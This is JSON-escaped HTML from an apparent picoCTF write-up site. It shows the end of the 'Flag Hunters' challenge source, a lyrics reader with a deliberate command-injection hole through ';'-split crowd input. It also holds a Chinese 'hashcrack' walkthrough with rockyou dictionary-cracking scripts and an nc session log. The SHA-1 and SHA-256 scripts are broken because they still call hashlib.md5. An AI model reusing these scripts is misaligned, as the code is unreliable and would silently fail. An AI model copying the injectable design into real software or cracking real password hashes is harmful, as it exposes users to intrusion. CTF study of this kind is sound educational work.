style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eWith every exploit we trigger, every byte we decrypt,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eWe’re chasing that victory, and we’ll never quit.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eCROWD (Singalong here!);\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eRETURN\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e[VERSE1]\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eCommand line wizards, we’re starting it right,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eSpawning shells in the terminal, hacking all night.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eScripts and searches, grep through the void,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eEvery keystroke, we\u0026#39;re a cypher\u0026#39;s envoy.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eBrute force the lock or craft that regex,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eFlag on the horizon, what challenge is next?\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eREFRAIN;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eEchoes in memory, packets in trace,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eDigging through the remnants to uncover with haste.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eHex and headers, carving out clues,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eResurrect the hidden, it\u0026#39;s forensics we choose.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eDisk dumps and packet dumps, follow the trail,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eBuried deep in the noise, but we will prevail.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eREFRAIN;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eBinary sorcerers, let’s tear it apart,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eDisassemble the code to reveal the dark heart.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eFrom opcode to logic, tracing each line,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eEmulate and break it, this key will be mine.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eDebugging the maze, and I see through the deceit,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003ePatch it up right, and watch the lock release.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eREFRAIN;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eCiphertext tumbling, breaking the spin,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eFeistel or AES, we’re destined to win.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eFrequency, padding, primes on the run,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eVigenère, RSA, cracking them for fun.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eShift the letters, matrices fall,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eDecrypt that flag and hear the ether call.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eREFRAIN;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eSQL injection, XSS flow,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eMap the backend out, let the database show.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eInspecting each cookie, fiddler in the fight,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eCapturing requests, push the payload just right.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eHTML\u0026#39;s secrets, backdoors unlocked,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eIn the world wide labyrinth, we’re never lost.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eREFRAIN;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eStack\u0026#39;s overflowing, breaking the chain,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eROP gadget wizardry, ride it to fame.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eHeap spray in silence, memory\u0026#39;s plight,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eRace the condition, crash it just right.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eShellcode ready, smashing the frame,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eControl the instruction, flags call my name.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eREFRAIN;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003eEND;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eMAX_LINES \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e100\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ereader\u003c/span\u003e(song, startLabel):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  lip \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  start \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  refrain \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  refrain_return \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  finished \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eFalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Get list of lyric lines\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  song_lines \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e song\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esplitlines()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Find startLabel, refrain and refrain return\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e, len(song_lines)):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e song_lines[i] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e startLabel:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      start \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e song_lines[i] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;[REFRAIN]\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      refrain \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e song_lines[i] \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;RETURN\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      refrain_return \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e i\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Print lyrics\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  line_count \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  lip \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e start\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e finished \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e line_count \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e MAX_LINES:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    line_count \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e line \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e song_lines[lip]\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esplit(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;;\u0026#39;\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e line \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eand\u003c/span\u003e song_lines[lip] \u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003econtinue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e line \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;REFRAIN\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        song_lines[refrain_return] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;RETURN \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(lip \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        lip \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e refrain\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e re\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ematch\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003er\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;CROWD.*\u0026#34;\u003c/span\u003e, line):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        crowd \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e input(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Crowd: \u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        song_lines[lip] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Crowd: \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e crowd\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        lip \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e re\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003ematch\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003er\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;RETURN [0-9]+\u0026#34;\u003c/span\u003e, line):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        lip \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e int(line\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esplit()[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eelif\u003c/span\u003e line \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;END\u0026#39;\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        finished \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(line, flush\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003eTrue\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        time\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esleep(\u003cspan style=\"color:#ae81ff\"\u003e0.5\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        lip \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ereader(song_flag_hunters, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;[VERSE1]\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/p\u003e","title":"Flag Hunters"},{"content":"題目連結 https://learn.cylabacademy.org/library/475\n題目解法 可以使用 python 腳本或是線上 hash cracking 工具來完成這題，以下示範使用 python 腳本加上 rockyou.txt 字典。\n使用 nc 連線進去後，第一個 hash 值長度為 32，可以猜測是 MD5。 1 2 3 4 5 6 7 8 9 10 11 import hashlib target_hash = \u0026#34;482c811da5d5b4bc6d497ffa98491e38\u0026#34; dict_path = \u0026#34;rockyou.txt\u0026#34; with open(dict_path, \u0026#39;rb\u0026#39;) as f: for line in f: password = line.strip() if hashlib.md5(password).hexdigest() == target_hash: print(f\u0026#34;Found: {password.decode(errors=\u0026#39;ignore\u0026#39;)}\u0026#34;) break 第二個 hash 長度為 40，可以推測是 SHA1。 1 2 3 4 5 6 7 8 9 10 11 import hashlib target_hash = \u0026#34;b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3\u0026#34; dict_path = \u0026#34;rockyou.txt\u0026#34; with open(dict_path, \u0026#39;rb\u0026#39;) as f: for line in f: password = line.strip() if hashlib.md5(password).hexdigest() == target_hash: print(f\u0026#34;Found: {password.decode(errors=\u0026#39;ignore\u0026#39;)}\u0026#34;) break 第三個 hash 長度為 64，可以推測是 SHA256。 1 2 3 4 5 6 7 8 9 10 11 import hashlib target_hash = \u0026#34;916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745\u0026#34; dict_path = \u0026#34;rockyou.txt\u0026#34; with open(dict_path, \u0026#39;rb\u0026#39;) as f: for line in f: password = line.strip() if hashlib.md5(password).hexdigest() == target_hash: print(f\u0026#34;Found: {password.decode(errors=\u0026#39;ignore\u0026#39;)}\u0026#34;) break 完整流程\nwebshell:~$ nc verbal-sleep.picoctf.net 54917 Welcome!! Looking For the Secret? We have identified a hash: 482c811da5d5b4bc6d497ffa98491e38 Enter the password for identified hash: password123 Correct! You\u0026#39;ve cracked the MD5 hash with no secret found! Flag is yet to be revealed!! Crack this hash: b7a875fc1ea228b9061041b7cec4bd3c52ab3ce3 Enter the password for the identified hash: letmein Correct! You\u0026#39;ve cracked the SHA-1 hash with no secret found! Almost there!! Crack this hash: 916e8c4f79b25028c9e467f1eb8eee6d6bbdff965f9928310ad30a8d88697745 Enter the password for the identified hash: qwerty098 Correct! You\u0026#39;ve cracked the SHA-256 hash with a secret found. The flag is: picoCTF{Use-----------------------------2d7} ","permalink":"https://picoctf-writeup.pinjim.dev/posts/cryptography/hashcrack/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/475\"\u003ehttps://learn.cylabacademy.org/library/475\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e可以使用 python 腳本或是線上 hash cracking 工具來完成這題，以下示範使用 python 腳本加上 \u003ccode\u003erockyou.txt\u003c/code\u003e 字典。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e使用 \u003ccode\u003enc\u003c/code\u003e 連線進去後，第一個 hash 值長度為 32，可以猜測是 MD5。\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan 